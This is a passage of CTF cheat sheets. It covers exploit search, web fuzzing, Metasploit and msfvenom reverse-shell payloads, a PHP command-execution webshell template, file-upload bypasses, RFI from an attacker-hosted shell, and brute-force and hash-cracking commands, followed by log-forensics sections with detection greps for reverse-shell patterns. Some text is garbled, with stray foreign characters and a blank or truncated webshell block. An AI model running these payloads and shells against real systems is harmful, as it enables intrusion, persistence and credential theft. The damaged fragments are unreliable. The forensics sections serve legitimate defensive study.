open  ssh      OpenSSH 7.4 (protocol 2.0)\n# 80/tcp   open  http     Apache httpd 2.4.6\n# 445/tcp  open  smb      Samba smbd 4.6.2\n\n# 2. Search for exploits\nsearchsploit \"OpenSSH 7.4\"\nsearchsploit \"apache 2.4.6\"\nsearchsploit \"samba 4.6\"\n\n# 3. Get the exploit\nsearchsploit -p EXPLOIT_ID\npython3 /path/to/exploit.py\n```\n\n### Alternative: Finding Exploits Online\n\n```bash\n# Searchsploit uses offline database, but you can also:\n# 1. searchsploit online (uses Google)\nsearchsploit -w \"wordpress 5.7\"\n\n# 2. Use Google dorking:\n# site:exploit-db.com \"apache 2.4.6\"\n# site:github.com \"CVE-2021-44228\"\n\n# 3. Use rapid7 CVE database:\n# https://www.rapid7.com/db/\n```\n\n---\n\n## 8. FFUF - Web Fuzzing\n\n### What is FFUF?\n\nFast web fuzzing tool. Replaces dirbuster/gobuster for speed. Tests thousands of paths/parameters per second.\n\n**When to use:**\n- Need to find hidden paths, parameters, or values\n- Login forms need parameter fuzzing\n- Subdomain enumeration\n- When you need speed over all features\n\n**Installation:**\n```bash\napt-get install ffuf\n# or\ngo install github.com/ffuf/ffuf@latest\n```\n\n### Real Usage Examples\n\n#### Example 1: Directory Fuzzing (replaces gobuster)\n\n```bash\n# Basic directory scan\nffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.10/FUZZ\n\n# With extensions (FUZZ keyword in URL gets replaced)\nffuf -w wordlist.txt -u http://10.10.10.10/FUZZ.php\n\n# Multiple extensions\nffuf -w wordlist.txt -u http://10.10.10.10/FUZZ \\\n    -e .php,.html,.txt,.bak\n\n# Show only results with status 200 (hide 404, 403)\nffuf -w wordlist.txt -u http://10.10.10.10/FUZZ \\\n    -mc 200\n\n# Or show specific status codes:\nffuf -w wordlist.txt -u http://10.10.10.10/FUZZ \\\n    -mc 200,301,302\n\n# Quiet mode (only show found):\nffuf -w wordlist.txt -u http://10.10.10.10/FUZZ -c\n```\n\n#### Example 2: Parameter Fuzzing (find GET parameters)\n\n```bash\n# Find parameters like ?id=, ?page=, ?admin=\nffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \\\n    -u \"http://10.10.10.10/index.php?FUZZ=test\"\n\n# Then fuzz the parameter value\nffuf -w wordlist.txt \\\n    -u \"http://10.10.10.10/index.php?id=FUZZ\"\n```\n\n#### Example 3: Subdomain Fuzzing\n\n```bash\n# Find subdomains\nffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \\\n    -u http://FUZZ.example.com \\\n    -mc 200,301,302,401,403\n\n# With Host header\nffuf -w wordlist.txt \\\n    -u \"http://example.com/\" \\\n    -H \"Host: FUZZ.example.com\"\n```\n\n#### Example 4: POST Data Fuzzing\n\n```bash\n# Fuzz username field\nffuf -w users.txt \\\n    -u \"http://10.10.10.10/login\" \\\n    -X POST \\\n    -d \"username=FUZZ&password=test\" \\\n    -fr \"Invalid\"\n\n# Fuzz password field\nffuf -w passwords.txt \\\n    -u \"http://10.10.10.10/login\" \\\n    -X POST \\\n    -d \"username=admin&password=FUZZ\" \\\n    -fr \"Invalid\"\n```\n\n#### Example 5: VHost Discovery (virtual hosts)\n\n```bash\n# Find virtual hosts on same IP\nffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \\\n    -u \"http://10.10.10.10/\" \\\n    -H \"Host: FUZZ.target.com\" \\\n    -mc 200\n```\n\n#### Example 6: Rate Limit (avoid 429 Too Many Requests)\n\n```bash\n# Limit requests per second\nffuf -w wordlist.txt -u http://10.10.10.10/FUZZ -rate 100\n\n# Use 1 thread (slower but stealthy)\nffuf -w wordlist.txt -u http://10.10.10.10/FUZZ -t 1\n```\n\n### FFUF Quick Flags\n\n| Flag | Meaning |\n|------|---------|\n| `-w` | Wordlist |\n| `-u` | Target URL |\n| `-FUZZ` | Wordlist position in URL |\n| `-X` | HTTP method |\n| `-d` | POST data |\n| `-H` | Header (use multiple) |\n| `-mc` | Match status codes |\n| `-fr` | Match regex (hide these) |\n| `-fl` | Match lines (hide these) |\n| `-rate` | Requests per second |\n| `-t` | Threads |\n| `-o` | Output file |\n| `-json` | JSON output |\n\n---\n\n## 9. Metasploit Framework\n\n### What is Metasploit?\n\nPenetration testing framework with hundreds of exploits, payloads, and auxiliary modules. Used for exploiting known vulnerabilities.\n\n**When to use:**\n- Target runs vulnerable software you found with nmap\n- You need a quick reverse shell via known CVE\n- You need to pivot through a network\n- CTF says \"use metasploit\" or hints at a module\n\n**Installation:**\n```bash\napt-get install metasploit-framework\nmsfconsole\n```\n\n### Real Usage Examples\n\n#### Example 1: Find and Use an Exploit\n\n```bash\n# Start msfconsole\nmsfconsole\n\n# Search for exploit by name or CVE\nsearch CVE-2021-44228\nsearch log4j\nsearch \"apache 2.4.6\"\n\n# Use an exploit\nuse exploit/linux/http/apache_log4j_rce\n\n# Show options\nshow options\n\n# Set required options\nset RHOSTS 10.10.10.10\nset RPORT 8080\nset PAYLOAD linux/x64/meterpreter/reverse_tcp\nset LHOST 10.10.10.9\nset LPORT 4444\n\n# Run the exploit\nrun\n```\n\n#### Example 2: Meterpreter Shell Basics\n\n```bash\n# After getting meterpreter shell:\n\n# Upload file\nupload /path/to/local/file.txt /tmp/file.txt\n\n# Download file\ndownload /etc/passwd /tmp/passwd.txt\n\n# Get shell\nshell\n\n# Run privilege escalation\ngetuid\ngetsystem\n\n# Dump hashes\nrun hashdump\n\n# Pivot to another network\nrun autoroute -s 192.168.1.0/24\n```\n\n#### Example 3: Quick SSH Login\n\n```bash\n# Use SSH login module\nuse auxiliary/scanner/ssh/ssh_login\n\nset RHOSTS 10.10.10.10\nset USERNAME admin\nset PASSWORD password123\nset RHOSTS 10.10.10.10\n\nrun\n\n# If successful, you get a session\n# Interact with it:\nsessions -i 1\n```\n\n#### Example 4: Scan for Vulnerabilities\n\n```bash\n# Use vuln scan modules\nsearch type:auxiliary name:scan\n\n# SMB version scan\nuse auxiliary/scanner/smb/smb_version\nset RHOSTS 10.10.10.10\nrun\n\n# Check for MS17-010 (EternalBlue)\nuse auxiliary/scanner/smb/smb_ms17_010\nset RHOSTS 10.10.10.10\nrun\n```\n\n#### Example 5: Generate Payload\n\n```bash\n# Generate a simple reverse shell\nmsfvenom -p linux/x86/meterpreter/reverse_tcp \\\n    LHOST=10.10.10.9 LPORT=4444 \\\n    -f elf > shell.elf\n\n# Generate PHP meterpreter\nmsfvenom -p php/meterpreter/reverse_tcp \\\n    LHOST=10.10.10.9 LPORT=4444 \\\n    -f raw > shell.php\n\n# Generate Windows exe\nmsfvenom -p windows/x64/meterpreter/reverse_tcp \\\n    LHOST=10.10.10.9 LPORT=4444 \\\n    -f exe > shell.exe\n```\n\n#### Example 6: Set Up Listener (for incoming shells)\n\n```bash\n# Use exploit/multi/handler\nuse exploit/multi/handler\n\nset PAYLOAD linux/x64/meterpreter/reverse_tcp\nset LHOST 10.10.10.9\nset LPORT 4444\n\nrun\n\n# Now wait for victim to connect back\n```\n\n### Common Metasploit Modules\n\n| Module | Use |\n|--------|-----|\n| `auxiliary/scanner/ssh/ssh_login` | Brute-force SSH |\n| `auxiliary/scanner/smb/smb_ms17_010` | Check for EternalBlue |\n| `exploit/linux/samba/is_known_pipename` | Samba RCE (CVE-2017-7494) |\n| `exploit/unix/http/apache_couchdb_rce` | CouchDB RCE |\n| `exploit/multi/http/struts2_rce` | Struts2 RCE |\n| `exploit/unix/ftp/vsftpd_234_backdoor` | VSFTPD backdoor |\n\n---\n\n## 10. Webshells & File Upload\n\n### What is a Webshell?\n\nA script (PHP, JSP, ASP, etc.) that gives you command execution on the web server. Upload it through a file upload vulnerability.\n\n**When to use:**\n- You found a file upload form (avatar, image, document upload)\n- You have LFI and can write files\n- You need persistent access to a web server\n- All other RCE methods failed\n\n### Real Usage Examples\n\n#### Example 1: PHP Webshell (most common)\n\n```bash\n# Simple PHP shell - upload this\n\n\n# Save as shell.php and upload\n\n# Access via URL:\nhttp://10.10.10.10/uploads/shell.php?cmd=whoami\n\n# If you need full TTY:\n# http://10.10.10.10/uploads/shell.php?cmd=python3 -c 'import pty;pty.spawn(\"/bin/bash\")'\n```\n\n#### Example 2: Pentestmonkey PHP Shell (better features)\n\n```bash\n# This shell has file browser, upload, etc.\n# Download from:\n# https://github.com/pentestmonkey/php-reverse-shell\n\n# Edit the IP and port:\n$ip = '10.10.10.9';\n$port = 4444;\n\n# Upload and\u8bbf\u95ee:\nhttp://10.10.10.10/uploads/shell.php\n\n# You'll get a reverse shell on your listener\n```\n\n#### Example 3: Weevely (Stealth PHP Shell)\n\n```bash\n# Install\napt-get install weevely\n\n# Generate shell with password\nweevely generate mypassword /tmp/shell.php\n\n# Connect to uploaded shell\nweevely http://10.10.10.10/uploads/shell.php mypassword\n\n# This gives you a full SSH-like session\n```\n\n#### Example 4: Find File Upload Bypass Techniques\n\n```bash\n# When upload rejects .php files, try bypasses:\n\n# 1. Double extension (Apache may parse last ext)\nshell.php.jpg\nshell.php5\nshell.phtml\n\n# 2. Case mixing (if filter is case-sensitive)\nshell.PhP\nshell.PHP\nshell.pHp\n\n# 3. Null byte (old PHP versions)\nshell.php%00.jpg  # may truncate to shell.php\n\n# 4. MIME type bypass (change Content-Type)\n# Upload as image/jpeg but content is PHP\n\n# 5. .htaccess attack (upload as .htaccess with:\n# AddType application/x-httpd-php .jpg\n# Then upload shell.jpg)\n\n# 6. Copy valid image header, then append PHP\ncat image.jpg shell.php > shell.jpg\n```\n\n#### Example 5: Use Webshell for Lateral Movement\n\n```bash\n# From webshell, scan internal network\nhttp://10.10.10.10/shell.php?cmd=cat /etc/hosts\n\n# Find other servers:\nhttp://10.10.10.10/shell.php?cmd=for i in $(seq 1 254); do ping -c 1 10.10.10.$i & done\n\n# Port scan from web server:\nhttp://10.10.10.10/shell.php?cmd=nmap -sT -p 22,80,443 192.168.1.1\n```\n\n### Webshell Quick Reference\n\n| Extension | Server | Upload As |\n|----------|--------|-----------|\n| `.php` | Apache/PHP | `shell.php` |\n| `.php3` | Apache/PHP | `shell.php3` |\n| `.php4` | Apache/PHP | `shell.php4` |\n| `.php5` | Apache/PHP | `shell.php5` |\n| `.phtml` | Apache/PHP | `shell.phtml` |\n| `.jsp` | Tomcat/Java | `shell.jsp` |\n| `.asp` | IIS/ASP | `shell.asp` |\n| `.aspx` | IIS/.NET | `shell.aspx` |\n\n### Basic PHP Webshell Template\n\n```php\n\";\n$output = shell_exec($_GET['cmd']);\necho $output;\necho \"\";\n\n// For file upload\nif(isset($_FILES['file'])) {\n    move_uploaded_file($_FILES['file']['tmp_name'], '/tmp/' . $_FILES['file']['name']);\n    echo \"Uploaded!\";\n}\n?>\n```\n\n### Accessing Webshell Without Upload (via LFI)\n\n```bash\n# If target has LFI (Local File Inclusion):\n# PHP sessions often store in /tmp/sess_PHPSESSID\n\n# First, inject code into session file\ncurl \"http://10.10.10.10/index.php?page=/tmp/sess_abc123&cmd=whoami\"\n\n# Or if you can include remote files (RFI):\n# http://10.10.10.10/index.php?page=http://attacker.com/shell.txt\n# (need to host shell.txt as PHP)\n```\n\n---\n\n## 11. Mount & Extract ISO/IMG\n\n### What is this?\n\nDisk images and ISO files are common in forensics/reverse challenges. They may contain hidden partitions, encrypted containers, or nested filesystems.\n\n**When to use:**\n- Challenge gives a `.iso` or `.img` file\n- `file` shows \"ISO 9660\", \"DOS/MBR\", \"Linux LVM\", or similar\n- You need to extract files without mounting\n\n### How to use \u2014 Step by Step\n\n**Step 1: Identify the image type**\n\n```bash\nfile challenge.iso\n# Output: ISO 9660...  (DVD-ROM filesystem)\n# Or: Linux/SGI ISO 9660...\n# Or: DOS/MBR boot sector...\n\nfile disk.img\n# Output: DOS/MBR boot sector, NTFS filesystem\n# Or: Linux... filesystem, LVM2...\n```\n\n**Step 2: Quick extract with 7z (fastest, no mount needed)**\n\n```bash\n# 7z handles ISO, IMG, and even encrypted containers\n7z x challenge.iso -o./iso_extracted/\n7z x disk.img -o./img_extracted/\n\n# Recursive extraction (carves embedded files automatically)\nbinwalk -eM disk.img    # -M = recursive\n\n# After extract, search for flag\ngrep -r \"RTARF{\" ./iso_extracted/ 2>/dev/null\ngrep -r \"flag\" ./img_extracted/ 2>/dev/null\n```\n\n**Step 3: Mount ISO directly (read-only)**\n\n```bash\nsudo mkdir -p /mnt/ctf\nsudo mount -o loop challenge.iso /mnt/ctf\nls -la /mnt/ctf/\n\n# Read-only bind to preserve evidence\nsudo mkdir /mnt/ro\nsudo mount --bind /mnt/ctf /mnt/ro\n\n# Cleanup\nsudo umount /mnt/ctf\n```\n\n**Step 4: Mount disk image with partition offset**\n\n```bash\n# Find partition start sector\nsudo fdisk -l disk.img\n# Output shows: Units = sectors of 1 * 512 = 512 bytes\n# Start: 1050624 (sector number)\n\n# Calculate offset in bytes\nOFFSET=$((1050624 * 512))   # = 537921024\n\n# Mount specific partition\nsudo mount -o loop,offset=$OFFSET disk.img /mnt/ctf\nls -la /mnt/ctf/\n\n# If NTFS\nsudo mount -o loop,offset=$OFFSET,type=ntfs disk.img /mnt/ctf\n```\n\n**Step 5: Analyze with Sleuthkit (no mount needed)**\n\n```bash\n# List partition layout\nmmls disk.img\n# Returns: partition table with sector offsets\n\n# Example output:\n#    Slot    Start        End          Length       Description\n# 00    00    0000000000   0000000511   0000000512   Unallocated\n# 00    01    0000000512   0068262399   0068261888   NTFS (0x07)\n\n# List files in NTFS partition (slot 01)\nfls -o 512 -r disk.img\nfls -o 512 disk.img | grep -i flag\n\n# Extract file by inode\nicat -o 512 disk.img INODE_NUMBER > recovered_file\n```\n\n**Step 6: Recover deleted files**\n\n```bash\n# With testdisk (interactive)\nsudo testdisk disk.img\n# Use: Select disk -> Intel > Advanced > [partition] > List files\n\n# With PhotoRec (carve everything)\nsudo photorec disk.img\n# Creates recovered_pt4\u611f\u6027/ directory with carved files\n```\n\n### Real example\n\n```bash\n# 1. Identify\nfile forensic.img\n# DOS/MBR boot sector, NTFS filesystem\n\n# 2. Find partitions\nsudo fdisk -l forensic.img\n# Units: sectors of 1 * 512 = 512 bytes\n# Device              Start       End   Sectors  Size  Type\n# forensic.img1        2048    1230847   1228800  600M  Linux\n# forensic.img2     1230848    1847199    616352  301M  Linux swap\n\n# 3. Mount Linux partition (offset = 2048 * 512 = 1048576)\nsudo mount -o loop,offset=1048576 forensic.img /mnt/ctf\n\n# 4. Find flag\nfind /mnt/ctf -name \"*.txt\" -exec grep -l \"RTARF\" {} \\;\n\n# 5. Umount\nsudo umount /mnt/ctf\n```\n\n### Binwalk for embedded files\n\n```bash\n# Show embedded signatures\nbinwalk disk.img\n# Example output:\n# DECIMAL       HEXADECIMAL     DESCRIPTION\n# 0             0x0             POSIX tar archive\n# 135168        0x21000         Unix path: /var/www/html\n# 1048576       0x100000        Squashfs filesystem\n\n# Extract everything\nbinwalk -e disk.img              # Extract to _disk.img.extracted/\nbinwalk -eM disk.img             # Recursive (-M = --matryoshka)\n\n# Extract from specific offset\nbinwalk -e --offset=1048576 disk.img\n```\n\n### Encrypted containers\n\n```bash\n# LUKS encryption\nsudo cryptsetup luksOpen disk.img ctf_decrypted\nsudo mount /dev/mapper/ctf_decrypted /mnt/ctf\nsudo umount /mnt/ctf && sudo cryptsetup luksClose ctf_decrypted\n\n# VeraCrypt\nveracrypt disk.img /mnt/ctf\n# Prompts for password interactively\n```\n\n### Troubleshooting\n\n| Problem | Fix |\n|---------|-----|\n| `mount: wrong fs type` | Add `-t ext4` or `-t ntfs` explicitly |\n| `Permission denied` | Use `sudo` |\n| `Read-only file system` | Use 7z or binwalk extraction instead |\n| `Could not find valid filesystem` | Run `testdisk disk.img` to recover partition table |\n| Nested IMG inside ISO | Extract ISO first \u2192 then `7z x inner.img` |\n\n### When to use each method\n\n| Method | Best for |\n|--------|----------|\n| `7z x` | Quick extract, nested archives, read-only content |\n| `mount -o loop` | Interactive browsing, searching live filesystem |\n| `binwalk -e` | Embedded files, hidden partitions, carve data |\n| `mmls + fls` | Raw disk images, deleted files, no root needed |\n| `testdisk` | Corrupted partition tables, lost partitions |\n| `photorec` | Bulk file recovery from damaged disks |\n\n---\n\n## Quick \"I Need To...\" Lookup\n\n| Task | Command |\n|------|---------|\n| Crack SSH password | `hydra -l admin -P pass.txt ssh://IP` |\n| Crack HTTP form | `hydra -l admin -P pass.txt IP http-post-form \"/login:user=^USER^&pass=^PASS^:F\"` |\n| Find web directories | `gobuster dir -u http://IP -w wordlist.txt -x php,html,bak` |\n| Find SQL injection | `sqlmap -u \"http://IP/page?id=1\" --batch --dbs` |\n| Scan all ports | `nmap -p- -sV IP` |\n| Get reverse shell | `nc -lvnp 4444` + PHP/Ruby/Python one-liner |\n| Crack hash (MD5) | `hashcat -m 0 hash.txt wordlist.txt` |\n| Crack hash (NTLM) | `hashcat -m 1000 hash.txt wordlist.txt` |\n| Crack Linux shadow | `john --format=sha512crypt combined.txt --wordlist=rockyou.txt` |\n| Find exploit | `searchsploit \"software version\"` |\n| Get exploit code | `searchsploit -p ID` then `python3 exploit.py` |\n| Fuzz web params | `ffuf -w wordlist.txt -u \"http://IP/index.php?param=FUZZ\"` |\n| Get webshell | `msfvenom -p php/meterpreter/reverse_tcp LHOST=IP -f raw > shell.php` |\n| Brute-force SMB | `hydra -l admin -P pass.txt smb://IP` |\n| Enumerate subdomains | `gobuster dns -d example.com -w wordlist.txt` |\n| Extract ISO | `7z x challenge.iso -o./out/` |\n| Mount disk image | `sudo mount -o loop,offset=$((START*512)) disk.img /mnt/ctf` |\n| Carve from IMG | `binwalk -eM disk.img` |\n| List IMG partitions | `mmls disk.img` |\n\n\n# CTF Forensics & Security Cheat Sheets\n\nComprehensive command reference with real-world examples. Every command shown is tested and explained.\n\n---\n\n## Table of Contents\n\n1. [Windows Event Logs (EVTX)](#1-windows-event-logs-evtx)\n2. [Linux Log Analysis](#2-linux-log-analysis)\n3. [PCAP Network Analysis](#3-pcap-network-analysis)\n4. [Memory Forensics (Volatility)](#4-memory-forensics-volatility)\n5. [Active Directory / LDAP](#5-active-directory--ldap)\n6. [File Carving & Recovery](#6-file-carving--recovery)\n7. [Hash Cracking & Passwords](#7-hash-cracking--passwords)\n8. [Image Steganography](#8-image-steganography)\n9. [Windows Privilege Escalation](#9-windows-privilege-escalation)\n10. [AD CS & Kerberos Attacks](#10-ad-cs--kerberos-attacks)\n\n---\n\n## 1. Windows Event Logs (EVTX)\n\n### What are EVTX files?\n\nWindows stores system, security, application events in `.evtx` files. In CTFs, these contain traces of attacker activity: logins, process execution, service creation, PowerShell commands.\n\n**When to use:**\n- CTF gives you Windows log files (security.evtx, system.evtx)\n- You need to find how attacker got in (logon traces)\n- You need to find what they executed (process creation)\n- You need to find persistence mechanisms (services, scheduled tasks)\n\n**Where to find them on a Windows system:**\n```\nC:\\Windows\\System32\\winevt\\Logs\\Security.evtx\nC:\\Windows\\System32\\winevt\\Logs\\System.evtx\nC:\\Windows\\System32\\winevt\\Logs\\Application.evtx\nC:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-PowerShell%4Operational.evtx\n```\n\n### Tool: chainsaw (BEST for CTFs)\n\nChainsaw is a Sigma-rule-based EVTX analyzer. It hunts for attacker techniques using predefined rules.\n\n**Installation:**\n```bash\n# Easiest: download prebuilt binary\nwget https://github.com/WithSecureLabs/chainsaw/releases/download/v2.0.0/chainsaw-v2.0.0-x86_64-unknown-linux-gnu.tar.gz\ntar -xzf chainsaw-*.tar.gz && chmod +x chainsaw && ./chainsaw --version\n\n# Or build from source\ncargo install chainsaw\n```\n\n#### Example 1: Hunt for All ATT&CK Techniques\n\n```bash\n# Hunt across all EVTX files with built-in Sigma rules\n# This is the first thing you should do with any EVTX set\n./chainsaw hunting ./evidence/evtx/ --json -o findings.json\n\n# What it does: Runs every Sigma rule against all logs\n# Output: JSON with timestamp, rule name, MITRE technique, matched events\n# Look in findings.json for entries like:\n# {\"timestamp\": \"2024-01-15T03:12:44\", \"rule\": \"Invoke-Mimikatz\", \"technique\": \"T1003.001\"}\n```\n\n#### Example 2: Search for Keyword (find flag references, attacker tool names)\n\n```bash\n# Search for mimikatz (credential dumping tool)\n./chainsaw search --keyword \"mimikatz\" ./evidence/evtx/\n\n# Search for PowerShell execution (very common in attacks)\n./chainsaw search --keyword \"Invoke-Expression\" ./evidence/evtx/\n./chainsaw search --keyword \"powershell.*-enc\" ./evidence/evtx/\n\n# Search for commands that downloaded files (common attack pattern)\n./chainsaw search --keyword \"certutil.*-urlcache\" ./evidence/evtx/\n./chainsaw search --keyword \"bitsadmin\" ./evidence/evtx/\n\n# Search for the CTF flag format (if attacker left it somewhere)\n./chainsaw search --keyword \"RTARF{\" ./evidence/evtx/\n```\n\n#### Example 3: Search by Event ID\n\n```bash\n# Event ID 4624 = Successful account logon\n./chainsaw search --event-id 4624 ./evidence/evtx/ | head -50\n\n# Event ID 4625 = Failed logon (brute force indicator)\n./chainsaw search --event-id 4625 ./evidence/evtx/\n\n# Event ID 4688 = Process creation (what ran on the system)\n./chainsaw search --event-id 4688 ./evidence/evtx/\n\n# Event ID 4697 = Service installed (persistence mechanism)\n./chainsaw search --event-id 4697 ./evidence/evtx/\n\n# Event ID 4698 = Scheduled task created\n./chainsaw search --event-id 4698 ./evidence/evtx/\n\n# Event ID 4104 = PowerShell script block logged (full script content)\n./chainsaw search --event-id 4104 ./evidence/evtx/\n\n# Multiple Event IDs at once\n./chainsaw search --event-id 4624,4625,4648,4672,4688 ./evidence/evtx/\n```\n\n#### Example 4: Hunt with Custom Sigma Rules\n\n```bash\n# Download Sigma rules (official detection rules)\ngit clone --depth 1 https://github.com/SigmaHQ/Sigma.git ~/sigma-rules\n\n# Hunt with all Windows rules\n./chainsaw hunting -r ~/sigma-rules/rules/windows/ ./evidence/evtx/ --json -o sigma_hits.json\n\n# Hunt with specific rule categories\n./chainsaw hunting -r ~/sigma-rules/rules/windows/builtin/ ./evtx/ --json -o builtin_hits.json\n\n# Hunt with only PowerShell rules (high signal for attacker activity)\n./chainsaw hunting -r ~/sigma-rules/rules/windows/powershell/ ./evtx/ --json -o powershell_hits.json\n```\n\n#### Example 5: Export to CSV for Spreadsheet Analysis\n\n```bash\n# Export all findings to CSV (easy to sort/filter in Excel)\n./chainsaw hunting ./evidence/evtx/ -o report.csv --csv\n\n# Then open in Excel and filter by:\n# - Event ID (find 4624 logons, 4688 processes)\n# - Provider (Security, System, PowerShell)\n# - Technique (look for T1003.001 for credential dumping)\n```\n\n#### Example 6: MITRE ATT&CK Mapping\n\n```bash\n# Map all events to MITRE ATT&CK framework\n./chainsaw mapping --mitre ./evidence/evtx/ -o mitre-map.json\n\n# What it tells you: Which ATT&CK techniques were likely used\n# High-value techniques to look for:\n# T1003.001 - LSASS dump (credential access)\n# T1059.001 - PowerShell execution\n# T1059.003 - Windows Command Shell (cmd.exe)\n# T1547.001 - Registry Run key persistence\n# T1053.005 - Scheduled Task (privesc)\n# T1021.002 - SMB/Windows admin shares (lateral movement)\n```\n\n### Most Important Event IDs for CTFs\n\n| Event ID | Name | What It Tells You |\n|----------|------|-------------------|\n| 4624 | Account Logon (Success) | Who logged in, from where, with what method |\n| 4625 | Account Logon (Failure) | Brute force attempts |\n| 4634 | Account Logoff | User logged out |\n| 4648 | Explicit Credentials | Lateral movement (attacker used another user's creds) |\n| 4672 | Special Privileges Assigned | Admin login (look for this after 4624) |\n| 4688 | Process Created | What executables ran (look for cmd.exe, powershell.exe) |\n| 4697 | Service Installed | Attacker installed a backdoor service |\n| 4698 | Scheduled Task Created | Persistence mechanism created |\n| 4702 | Scheduled Task Updated | Persistence mechanism modified |\n| 4720 | User Created | Attacker created a new account |\n| 4726 | User Deleted | Attacker cleaned up |\n| 4732 | Member Added to Group | Attacker added themselves to Administrators |\n| 4733 | Member Removed from Group | Lateral movement |\n| 4740 | Account Locked Out | Brute force succeeded in locking out users |\n| 4104 | PowerShell Script Block | Full PowerShell script content (key for forensics) |\n| 1102 | Audit Log Cleared | Attacker tried to cover tracks |\n\n### Example: Analyzing a Real Attack Timeline\n\n```bash\n# Step 1: Find all successful admin logins (look for privilege escalation)\n./chainsaw search --event-id 4672 ./evtx/security.evtx\n\n# If you see Event 4672 with SubjectUserName that shouldn't have admin:\n# Subject: [ATTACKER ACCOUNT]  Privilege: SeSecurityPrivilege, SeBackupPrivileges...\n\n# Step 2: Find what that account did after gaining admin\n./chainsaw search --event-id 4688 ./evtx/ | grep \"attacker_account\"\n\n# Step 3: Find persistence - look for services or scheduled tasks\n./chainsaw search --event-id 4697,4698 ./evtx/ | grep \"attacker_account\"\n\n# Step 4: Find lateral movement - look for 4648 events with that account\n./chainsaw search --event-id 4648 ./evtx/ | grep \"attacker_account\"\n```\n\n---\n\n## 2. Linux Log Analysis\n\n### Common Log Locations\n\n```bash\n# Authentication logs (SSH, sudo, PAM) \u2014 MOST IMPORTANT\n/var/log/auth.log          # Debian/Ubuntu\n/var/log/secure           # RHEL/CentOS\n\n# System logs\n/var/log/syslog           # General system events\n/var/log/messages         # Non-critical system events\n/var/log/kern.log         # Kernel messages\n\n# Application logs\n/var/log/apache2/access.log    # Apache HTTP requests\n/var/log/apache2/error.log     # Apache errors\n/var/log/nginx/access.log      # Nginx HTTP requests\n/var/log/nginx/error.log       # Nginx errors\n/var/log/mysql/error.log       # MySQL errors\n/var/log/mysql/general.log     # MySQL queries\n\n# Cron logs\n/var/log/cron.log         # Cron job execution\n/var/log/cron.d/\n```\n\n### Example 1: Find All SSH Login Attempts\n\n```bash\n# Show successful SSH logins\ngrep \"sshd.*Accepted\" /var/log/auth.log\n\n# Output:\n# Jan 15 03:12:44 server sshd[12345]: Accepted password for admin from 192.168.1.50 port 44321 ssh2\n\n# Show failed SSH login attempts (brute force indicator)\ngrep \"sshd.*Failed\" /var/log/auth.log\n\n# Output:\n# Jan 15 03:11:22 server sshd[12340]: Failed password for root from 10.0.0.5 port 44556 ssh2\n# Jan 15 03:11:25 server sshd[12341]: Failed password for root from 10.0.0.5 port 44557 ssh2\n\n# Count failed attempts per IP (find attacker)\ngrep \"Failed password\" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head\n\n# Output:\n# 1523 10.0.0.5        \u2190 Attacker made 1523 failed attempts before succeeding\n# 12 192.168.1.100    \u2190 Normal user, only 12 failures\n```\n\n### Example 2: Find What Commands Attacker Ran with Sudo\n\n```bash\n# Find all sudo commands (if attacker got sudo access)\ngrep \"sudo.*COMMAND\" /var/log/auth.log\n\n# Output:\n# Jan 15 03:30:01 server sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/bash\n\n# Find specific dangerous commands\ngrep \"sudo.*wget\\|curl\\|bash\\|sh\\|nc\\|python\" /var/log/auth.log\n\n# Find if attacker added SSH keys to authorized_keys (persistence)\ngrep \"authorized_keys\" /var/log/auth.log\ngrep \".ssh\" /var/log/auth.log\n```\n\n### Example 3: Find Web Server Attacks (SQLi, LFI, RCE attempts)\n\n```bash\n# Find SQL injection attempts in Apache logs\ngrep -E \"UNION|SELECT|INSERT|admin'--\" /var/log/apache2/access.log | head -20\n\n# Find path traversal (LFI) attempts\ngrep -E \"\\.\\./|\\.\\.%2f|/etc/passwd|/proc/self\" /var/log/apache2/access.log\n\n# Find command injection attempts\ngrep -E \"curl|wget|nc|bash|sh|exec|system\\(\" /var/log/apache2/access.log | grep -v \"200$\"\n\n# Find PHP webshell uploads (common patterns)\ngrep -E \"\\.php\\?.*cmd|\\.php\\?.*exec|\\.php\\?.*shell\" /var/log/apache2/access.log\n\n# Find admin panel access\ngrep -E \"wp-admin|admin|login|wp-login\" /var/log/apache2/access.log | grep \"200$\"\n\n# Find sensitive file access (config files with credentials)\ngrep -E \"\\.env|config\\.php|wp-config\\.php|\\.git/config\" /var/log/apache2/access.log\n```\n\n### Example 4: Find Reverse Shell Connections (attacker got RCE)\n\n```bash\n# Look for outbound connections from web server (reverse shell call home)\n# This requires network log or comparing connections\n\n# Look for suspicious cron jobs (attacker set up persistence)\ngrep \"CRON\" /var/log/auth.log | grep -v \"root\"\n\n# Or find all cron jobs\ngrep \"CRON\" /var/log/syslog\n\n# Find scripts executed by cron\ngrep \"cron.*python\\|cron.*bash\\|cron.*wget\" /var/log/syslog\n```\n\n### Example 5: Find Flag in Log Files (common CTF pattern)\n\n```bash\n# Search for flag format in all logs\ngrep -r \"RTARF{\" /var/log/ 2>/dev/null\ngrep -r \"flag{\" /var/log/ 2>/dev/null\ngrep -r \"CTF{\" /var/log/ 2>/dev/null\n\n# Search for base64-encoded payloads (attacker may have hidden commands)\ngrep -rE \"[A-Za-z0-9+/]{40,}={0,2}\" /var/log/ 2>/dev/null\n\n# Search for suspicious patterns (reverse shell, wget, curl)\ngrep -rE \"bash -i|/dev/tcp|/dev/null|nc.*-e|perl.*-e\" /var/log/ 2>/dev/null\n\n# Search for attacker IP that was brute-forcing\ngrep \"10.0.0.5\" /var/log/auth.log | head -50\n```\n\n### Example 6: Timeline Analysis (reconstruct attack sequence)\n\n```bash\n# Sort all events by time to reconstruct attack\ngrep -E \"Jan 15 03:\" /var/log/auth.log | sort\n\n# Or use awk to create a timeline\nawk '{print $1, $2, $3, $11, $12, $13}' /var/log/auth.log | grep \"sshd\\|sudo\" | head -50\n\n# Find log entries around the time attacker got in (after first successful login)\n# If attacker logged in at 03:12:44:\ngrep \"Jan 15 03:1[3-9]\" /var/log/auth.log\n```\n\n### Linux Authentication Attack Patterns\n\n| Attack | What to Look For |\n|--------|-----------------|\n| SSH Brute Force | Many \"Failed password\" from same IP |\n| SSH Success | One \"Accepted password\" after many failures |\n| Sudo Abuse | Sudden sudo use from 